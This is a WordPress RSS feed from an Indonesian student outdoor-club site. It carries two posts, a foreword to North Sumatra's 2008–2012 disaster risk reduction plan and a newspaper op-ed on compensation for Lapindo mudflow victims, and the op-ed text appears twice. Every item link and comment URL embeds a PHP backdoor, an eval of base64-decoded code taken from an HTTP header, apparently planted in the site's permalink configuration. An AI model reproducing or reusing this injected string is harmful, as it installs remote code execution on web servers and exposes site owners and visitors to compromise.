<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>mapala.info</title>
	<atom:link href="http://mapala.info/feed/" rel="self" type="application/rss+xml" />
	<link>http://mapala.info</link>
	<description>Pusat Koordinasi Nasional Mapala Tingkat Perguruan Tinggi Se-Indonesia</description>
	<pubDate>Thu, 28 Jan 2010 09:30:13 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Rencana Aksi Pengrangan Resiko Bencana Provinsi Sumatra Utara Tahun 2008-2012</title>
		<link>http://mapala.info/2010/01/28/rencana-aksi-pengrangan-resiko-bencana-provinsi-sumatra-utara-tahun-2008-2012/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://mapala.info/2010/01/28/rencana-aksi-pengrangan-resiko-bencana-provinsi-sumatra-utara-tahun-2008-2012/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 09:29:34 +0000</pubDate>
		<dc:creator>samsudinsam</dc:creator>
		
		<category><![CDATA[Bencana Alam]]></category>

		<guid isPermaLink="false">http://mapala.info/?p=402</guid>
		<description><![CDATA[ Sebagai bentuk komitmen Pemerintahan Provinsi Sumatera Utara terhadap wilayahnya yang rentan terhadap bencana maka disusunlah Buku Rencana Aksi Pengurangan Risiko Bencana Provinsi Sumatera Utara Tahun 2008 – 2012. Penyusunan buku ini juga menindaklanjuti Undang-Undang Nomor 24/2007 tentang Penanggulangan Bencana, Rencana Aksi Nasional Pengurangan Risiko Bencana (RAN PRB) dan Resolusi PBB No. 63 Tahun 1999 [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: small;"> Sebagai bentuk komitmen Pemerintahan Provinsi Sumatera Utara terhadap wilayahnya yang rentan terhadap bencana maka disusunlah Buku Rencana Aksi Pengurangan Risiko Bencana Provinsi Sumatera Utara Tahun 2008 – 2012. Penyusunan buku ini juga menindaklanjuti Undang-Undang Nomor 24/2007 tentang Penanggulangan Bencana, Rencana Aksi Nasional Pengurangan Risiko Bencana (RAN PRB) dan Resolusi PBB No. 63 Tahun 1999 serta Hyogo Framework for Action dan Beijing Action.</span></p>
<p>Penyusunan buku ini bertujuan untuk mengubah paradigma dalam menangani bencana alam, dari yang selama ini masih lebih bersifat responsif dalam menangani, menjadi suatu kegiatan yang bersifat preventif, sehingga bencana alam itu selain mungkin dapat dicegah atau diminimalkan (mitigasi), juga risikonya dapat dikurangi atau malah ditiadakan.</p>
<p>Proses penyusunan buku ini telah berjalan sejak bulan November 2006 dengan melibatkan berbagai pihak baik di tingkat provinsi maupun tingkat daerah yang meliputi dinas/instansi terkait serta stakeholders lainnya. Kegiatan ini dimulai dengan pengumpulan berbagai rencana kegiatan dari semua pihak terkait disesuaikan dengan program yang terdapat dalam Hyogo Framework for Action 2005-2015.</p>
<p>Sebagai buku Rencana Aksi Provinsi Sumatera Utara Pengurangan Risiko Bencana yang pertama buku ini masih banyak kekurangan, karena masih bersifat mengumpulkan dan mengelompokkan berbagai rencana kegiatan dari stakeholders yang berkepentingan. Selanjutnya ke depan akan terus disempurnakan agar dapat diimplementasikan sebagai rencana aksi yang baku bila terjadi bencana.</p>
<p>Medan, …. November 2007<br />
Badan Perencanaan Pembangunan Daerah Provinsi Suamtera Utara<img class="alignleft size-full wp-image-403" title="banjir" src="http://mapala.info/wp-content/uploads/2010/01/images.jpeg" alt="banjir" width="143" height="107" /></p>
]]></content:encoded>
			<wfw:commentRss>http://mapala.info/2010/01/28/rencana-aksi-pengrangan-resiko-bencana-provinsi-sumatra-utara-tahun-2008-2012/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Menyelamatkan Lapindo atau Korban Lumpur</title>
		<link>http://mapala.info/2009/11/23/menyelamatkan-lapindo-atau-korban-lumpur/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://mapala.info/2009/11/23/menyelamatkan-lapindo-atau-korban-lumpur/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 11:08:52 +0000</pubDate>
		<dc:creator>samsudinsam</dc:creator>
		
		<category><![CDATA[Lingkungan Hidup]]></category>

		<guid isPermaLink="false">http://mapala.info/?p=396</guid>
		<description><![CDATA[Koran TEMPO, 6 Desember 2008
Firdaus Cahyadi, Knowledge Sharing Officer for Sustainable Development, OneWorld-Indonesia
Setelah mendapat tekanan bertubi-tubi dari korban lumpur Lapindo di Jakarta, akhirnya Presiden Yudhoyono sedikit berani bertindak tegas terhadap pemimpin kelompok usaha Bakrie terkait dengan persoalan jual-beli aset korban Lapindo. Presiden memaksa jajarannya merumuskan formula yang tepat bagi persoalan jual-beli aset korban lumpur yang [...]]]></description>
			<content:encoded><![CDATA[<p><!--[endif]-->Koran TEMPO, 6 Desember 2008</p>
<p>Firdaus Cahyadi, Knowledge Sharing Officer for Sustainable Development, OneWorld-Indonesia</p>
<p>Setelah mendapat tekanan bertubi-tubi dari korban lumpur Lapindo di <span class="yshortcuts">Jakarta</span>, akhirnya Presiden Yudhoyono sedikit berani bertindak tegas terhadap pemimpin kelompok usaha Bakrie terkait dengan persoalan jual-beli aset korban Lapindo. Presiden memaksa jajarannya merumuskan formula yang tepat bagi persoalan jual-beli aset korban lumpur yang selama ini molor. Hasilnya, Lapindo akan kembali mencicil uang jual-beli aset per bulan per keluarga sebesar Rp 30 juta. Selain itu, Lapindo memberikan uang sewa rumah per keluarga selama satu tahun sebesar Rp 2,5 juta.</p>
<p>Padahal Peraturan Presiden (Perpres) Nomor 14 Tahun 2007 dan juga Perpres No. 48/2008 menyebutkan bahwa pembayaran cicilan 80 persen harus dilunasi paling lambat sebulan sebelum masa kontrak rumah habis. Sementara itu, masa jatuh tempo pembayaran itu seharusnya sudah dimulai pada Desember 2008 ini. Anehnya, Nirwan Bakrie, penanggung jawab Grup Bakrie, menyatakan tidak ada pelanggaran terhadap Perpres No. 14/2007. “Yang harus dilaksanakan sekarang adalah negosiasi antara para pihak,” katanya seperti yang ditulis <span class="yshortcuts">Koran Tempo</span>, 4 Desember 2008.</p>
<p>Secara kasatmata, hasil rumusan baru itu tak lebih hanya sebagai bentuk kelonggaran waktu lagi bagi Lapindo untuk membayar cicilan uang jual-beli aset korban lumpur. Sebelumnya, Grup Bakrie sudah menyatakan kesulitan menyelesaikan persoalan jual-beli aset korban akibat krisis keuangan global. Pertanyaannya kemudian tentu saja adalah siapa sebenarnya yang hendak diselamatkan oleh negara dalam kasus semburan lumpur Lapindo melalui formula baru itu, korban lumpur atau justru Lapindo.</p>
<p>Lapindo tentu akan lebih diuntungkan dengan formula baru penyelesaian persoalan jual-beli aset itu. Setidaknya keinginan Lapindo untuk menjadwalkan ulang pembayaran terhadap korban lumpur dengan alasan krisis keuangan global telah dikabulkan oleh pemerintah.</p>
<p>Sementara itu, hal sebaliknya terjadi pada korban lumpur. Keinginan korban lumpur Lapindo untuk segera lepas dari penderitaan panjang dengan pembayaran cash and carry hanya tinggal mimpi. Bahkan para korban lumpur, menurut ketentuan formula baru itu, harus memperpanjang statusnya sebagai pengontrak.</p>
<p>Bukan sekali ini saja sebenarnya Lapindo dapat berkelit dari persoalan lumpur. Sebelumnya, Lapindo berkelit bahwa semburan lumpur bukan disebabkan oleh aktivitas pengeboran. Menurut Lapindo, penyebab semburan lumpur itu adalah <span class="yshortcuts">bencana alam</span> yang terjadi di luar kehendak dan kendali Lapindo. Padahal hasil audit <span class="yshortcuts">Badan Pemeriksa Keuangan</span> (BPK) dan juga pendapat mayoritas ahli geologi dunia menyatakan bahwa ada unsur kesalahan manusia dalam pengeboran yang menyebabkan munculnya semburan lumpur panas itu.</p>
<p>Namun, pemerintah sekali lagi tampak mengabaikan hasil audit BPK dan pendapat mayoritas pakar geologi dunia itu. Pemerintah lebih mengikuti pendapat Lapindo yang menyatakan bahwa semburan lumpur itu disebabkan oleh bencana alam. Dengan asumsi itulah pemerintah kemudian mengeluarkan Perpres No. 14/2007 dan Perpres No. 48/2008, yang mereduksi persoalan ganti rugi menjadi hanya persoalan jual-beli aset korban.</p>
<p>Dengan regulasi itu Lapindo terbebas dari tanggung jawab atas persoalan gangguan kesehatan, kerusakan infrastruktur publik, dan juga atas tenggelamnya rumah dan tanah warga akibat perluasan area yang terkena dampak semburan lumpur itu.</p>
<p>Celakanya, saat Lapindo mengalami kesulitan melaksanakan ketentuan dalam perpres itu, pemerintah kembali memberi keringanan terhadap Lapindo melalui formula baru dengan memberi tenggang waktu bagi Lapindo untuk melunasi sisa pembayaran jual-beli aset korban. Lapindo selalu beralasan bahwa ada kejadian <span class="yshortcuts">luar biasa</span> agar pemerintah mengeluarkan kebijakan yang berpihak kepadanya. Untuk berkelit atas penyebab semburan lumpur panas di <span class="yshortcuts">Sidoarjo</span>, Lapindo menggunakan alasan bencana alam yang terjadi di luar kehendak dan kendalinya.</p>
<p>Sedangkan untuk berkelit atas kegagalannya melaksanakan perpres soal jual-beli aset, Lapindo kembali menggunakan alasan terjadinya <span class="yshortcuts">krisis ekonomi</span> global yang lagi-lagi terjadi di luar kehendak dan kendalinya. Celakanya, pemerintah tanpa pikir panjang membenarkan alasan itu semua dan kemudian kembali mengeluarkan kebijakan yang mampu menyelamatkan Lapindo dari tuntutan publik atas tanggung jawabnya. Pemerintah tampak selalu tidak berdaya jika berhadapan dengan Lapindo, yang merupakan bagian dari Grup Bakrie.</p>
<p>Dari ketidakberdayaan yang selalu diperlihatkan pemerintah saat berhadapan dengan Lapindo itu tampak sinyal bahwa persoalan semburan lumpur ini sejatinya bukan semata-mata persoalan sosial dan lingkungan hidup. Persoalan lumpur Lapindo telah merambah ke ranah politik. Konflik kepentingan di tingkat elite kekuasaan sulit dilepaskan dalam persoalan lumpur ini. Untuk mengurai benang kusut persoalan semburan lumpur Lapindo ini tak bisa tidak pemerintah harus menyingkirkan konflik kepentingan yang terjadi di tingkat elite kekuasaan terlebih dulu. <span class="yshortcuts">Tanpa</span> dipenuhinya prasyarat itu, penyelesaian persoalan lumpur hanya akan berjalan secara tambal sulam dan tidak memenuhi rasa keadilan masyarakat.</p>
<p>Nah, pertanyaannya kemudian adalah apakah Presiden Yudhoyono dan Wakil Presiden <span class="yshortcuts">Jusuf Kalla</span> merupakan bagian dari elite kekuasaan yang memiliki konflik kepentingan atas persoalan lumpur itu. Mungkin hanya Tuhan dan kedua pemimpin itu yang tahu. *</p>
<p><!--[endif]-->Koran TEMPO, 6 Desember 2008</p>
<p>Firdaus Cahyadi, Knowledge Sharing Officer for Sustainable Development, OneWorld-Indonesia</p>
<p>Setelah mendapat tekanan bertubi-tubi dari korban lumpur Lapindo di <span class="yshortcuts">Jakarta</span>, akhirnya Presiden Yudhoyono sedikit berani bertindak tegas terhadap pemimpin kelompok usaha Bakrie terkait dengan persoalan jual-beli aset korban Lapindo. Presiden memaksa jajarannya merumuskan formula yang tepat bagi persoalan jual-beli aset korban lumpur yang selama ini molor. Hasilnya, Lapindo akan kembali mencicil uang jual-beli aset per bulan per keluarga sebesar Rp 30 juta. Selain itu, Lapindo memberikan uang sewa rumah per keluarga selama satu tahun sebesar Rp 2,5 juta.</p>
<p>Padahal Peraturan Presiden (Perpres) Nomor 14 Tahun 2007 dan juga Perpres No. 48/2008 menyebutkan bahwa pembayaran cicilan 80 persen harus dilunasi paling lambat sebulan sebelum masa kontrak rumah habis. Sementara itu, masa jatuh tempo pembayaran itu seharusnya sudah dimulai pada Desember 2008 ini. Anehnya, Nirwan Bakrie, penanggung jawab Grup Bakrie, menyatakan tidak ada pelanggaran terhadap Perpres No. 14/2007. “Yang harus dilaksanakan sekarang adalah negosiasi antara para pihak,” katanya seperti yang ditulis <span class="yshortcuts">Koran Tempo</span>, 4 Desember 2008.</p>
<p>Secara kasatmata, hasil rumusan baru itu tak lebih hanya sebagai bentuk kelonggaran waktu lagi bagi Lapindo untuk membayar cicilan uang jual-beli aset korban lumpur. Sebelumnya, Grup Bakrie sudah menyatakan kesulitan menyelesaikan persoalan jual-beli aset korban akibat krisis keuangan global. Pertanyaannya kemudian tentu saja adalah siapa sebenarnya yang hendak diselamatkan oleh negara dalam kasus semburan lumpur Lapindo melalui formula baru itu, korban lumpur atau justru Lapindo.</p>
<p>Lapindo tentu akan lebih diuntungkan dengan formula baru penyelesaian persoalan jual-beli aset itu. Setidaknya keinginan Lapindo untuk menjadwalkan ulang pembayaran terhadap korban lumpur dengan alasan krisis keuangan global telah dikabulkan oleh pemerintah.</p>
<p>Sementara itu, hal sebaliknya terjadi pada korban lumpur. Keinginan korban lumpur Lapindo untuk segera lepas dari penderitaan panjang dengan pembayaran cash and carry hanya tinggal mimpi. Bahkan para korban lumpur, menurut ketentuan formula baru itu, harus memperpanjang statusnya sebagai pengontrak.</p>
<p>Bukan sekali ini saja sebenarnya Lapindo dapat berkelit dari persoalan lumpur. Sebelumnya, Lapindo berkelit bahwa semburan lumpur bukan disebabkan oleh aktivitas pengeboran. Menurut Lapindo, penyebab semburan lumpur itu adalah <span class="yshortcuts">bencana alam</span> yang terjadi di luar kehendak dan kendali Lapindo. Padahal hasil audit <span class="yshortcuts">Badan Pemeriksa Keuangan</span> (BPK) dan juga pendapat mayoritas ahli geologi dunia menyatakan bahwa ada unsur kesalahan manusia dalam pengeboran yang menyebabkan munculnya semburan lumpur panas itu.</p>
<p>Namun, pemerintah sekali lagi tampak mengabaikan hasil audit BPK dan pendapat mayoritas pakar geologi dunia itu. Pemerintah lebih mengikuti pendapat Lapindo yang menyatakan bahwa semburan lumpur itu disebabkan oleh bencana alam. Dengan asumsi itulah pemerintah kemudian mengeluarkan Perpres No. 14/2007 dan Perpres No. 48/2008, yang mereduksi persoalan ganti rugi menjadi hanya persoalan jual-beli aset korban.</p>
<p>Dengan regulasi itu Lapindo terbebas dari tanggung jawab atas persoalan gangguan kesehatan, kerusakan infrastruktur publik, dan juga atas tenggelamnya rumah dan tanah warga akibat perluasan area yang terkena dampak semburan lumpur itu.</p>
<p>Celakanya, saat Lapindo mengalami kesulitan melaksanakan ketentuan dalam perpres itu, pemerintah kembali memberi keringanan terhadap Lapindo melalui formula baru dengan memberi tenggang waktu bagi Lapindo untuk melunasi sisa pembayaran jual-beli aset korban. Lapindo selalu beralasan bahwa ada kejadian <span class="yshortcuts">luar biasa</span> agar pemerintah mengeluarkan kebijakan yang berpihak kepadanya. Untuk berkelit atas penyebab semburan lumpur panas di <span class="yshortcuts">Sidoarjo</span>, Lapindo menggunakan alasan bencana alam yang terjadi di luar kehendak dan kendalinya.</p>
<p>Sedangkan untuk berkelit atas kegagalannya melaksanakan perpres soal jual-beli aset, Lapindo kembali menggunakan alasan terjadinya <span class="yshortcuts">krisis ekonomi</span> global yang lagi-lagi terjadi di luar kehendak dan kendalinya. Celakanya, pemerintah tanpa pikir panjang membenarkan alasan itu semua dan kemudian kembali mengeluarkan kebijakan yang mampu menyelamatkan Lapindo dari tuntutan publik atas tanggung jawabnya. Pemerintah tampak selalu tidak berdaya jika berhadapan dengan Lapindo, yang merupakan bagian dari Grup Bakrie.</p>
<p>Dari ketidakberdayaan yang selalu diperlihatkan pemerintah saat berhadapan dengan Lapindo itu tampak sinyal bahwa persoalan semburan lumpur ini sejatinya bukan semata-mata persoalan sosial dan lingkungan hidup. Persoalan lumpur Lapindo telah merambah ke ranah politik. Konflik kepentingan di tingkat elite kekuasaan sulit dilepaskan dalam persoalan lumpur ini. Untuk mengurai benang kusut persoalan semburan lumpur Lapindo ini tak bisa tidak pemerintah harus menyingkirkan konflik kepentingan yang terjadi di tingkat elite kekuasaan terlebih dulu. <span class="yshortcuts">Tanpa</span> dipenuhinya prasyarat itu, penyelesaian persoalan lumpur hanya akan berjalan secara tambal sulam dan tidak memenuhi rasa keadilan masyarakat.</p>
<p>Nah, pertanyaannya kemudian adalah apakah Presiden Yudhoyono dan Wakil Presiden <span class="yshortcuts">Jusuf Kalla</span> merupakan bagian dari elite kekuasaan yang memiliki konflik kepentingan atas persoalan lumpur itu. Mungkin hanya Tuhan dan kedua pemimpin itu yang tahu. *</p>
]]></content:encoded>
			<wfw:commentRss>http://mapala.info/2009/11/23/menyelamatkan-lapindo-atau-korban-lumpur/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
